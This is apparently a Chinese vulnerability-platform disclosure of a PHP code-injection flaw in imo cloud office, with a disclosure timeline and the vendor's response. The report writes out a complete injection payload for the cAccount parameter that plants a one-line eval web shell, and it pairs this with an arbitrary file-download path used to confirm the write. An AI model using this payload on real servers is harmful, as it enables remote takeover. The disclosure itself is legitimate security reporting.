漏洞概要
关注数(16)
关注此漏洞
漏洞标题: 易睦网络imo云办公室php代码注入getshell
提交时间: 2015-12-05 13:44
公开时间: 2016-03-03 09:24
漏洞类型: 命令执行
危害等级: 高
自评Rank: 20
漏洞状态:
已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞详情
披露状态:
2015-12-05: 细节已通知厂商并且等待厂商处理中
2015-12-09: 厂商已经确认,细节仅向厂商公开
2015-12-12: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2016-02-02: 细节向核心白帽子及相关领域专家公开
2016-02-12: 细节向普通白帽子公开
2016-02-22: 细节向实习白帽子公开
2016-03-03: 细节向公众公开
简要描述:
结合文件下载及去年一大牛提交的漏洞getshell。
详细说明:
问题:任意代码写入已定的php文件getshell
结合上个问题(文件下载)及漏洞http://**.**.**.**/bugs/wooyun-2014-054712。
存在漏洞的文件:
/server/loginBindkd.php
/OpenPlatform/config/kdBind.php(执行后才会产生)
loginBindkd.php文件存在的问题是可以将任意内容写入到kdBind.php文件中,将构造好的一句话写入到kdBind.php,那么这个文件就是shell了。
另外loginBindkd.php文件又包含了kdBind.php,所以也能通过loginBindkd.php看到命令执行的结果,这也就是去年这个命令执行漏洞了。
loginBindkd.php代码如下:
很明显,问题就出在23行到28行的函数writeConfig(),变量$cAccount和$domain的值是从客户端获取的,将这两个变量的值以数组的形式写入到文件kdBind.php中了。
先执行个命令回顾一下:
提交时注意Content-Length,用hackbar比较方便。
现在我们通过文件下载知道了kdBind.php文件的内容,所以就可以构造出一句话了。
每提交一次上述请求,都会重写kdBind.php文件的内容,通过如下链接下载到该文件:
**.**.**.**/file/Placard/upload/Imo_DownLoadUI.php?cid=1&uid=1&type=1&filename=/OpenPlatform/config/kdBind.php
如下:
现在只要简单闭合构造完整的一句话就ok了。
一句话:cAccount=")?><?php @eval($_POST['c']);?><?php("&domain=
phpinfo:cAccount=")?><?php phpinfo();?><?php("&domain=
提交后shell地址:**.**.**.**/OpenPlatform/config/kdBind.php
案例:
http://**.**.**.**/OpenPlatform/config/kdBind.php
附其他链接供验证:
**.**.**.**/server/loginBindkd.php
http://**.**.**.**/server/loginBindkd.php
http://**.**.**.**/server/loginBindkd.php
http://**.**.**.**/server/loginBindkd.php
另外发现科大讯飞(http://imo.if**.**.**.**/)已采取了防御措施,如下是其修改后的代码:
漏洞证明:
修复方案:
对文件/OpenPlatform/config/kdBind.php设置禁止执行权限。
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:15
确认时间:2015-12-09 18:21
厂商回复:
CNVD确认并复现所述情况,已由CNVD通过软件生产厂商公开联系渠道向其邮件通报,由其后续提供解决方案并协调相关用户单位处置。
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
评价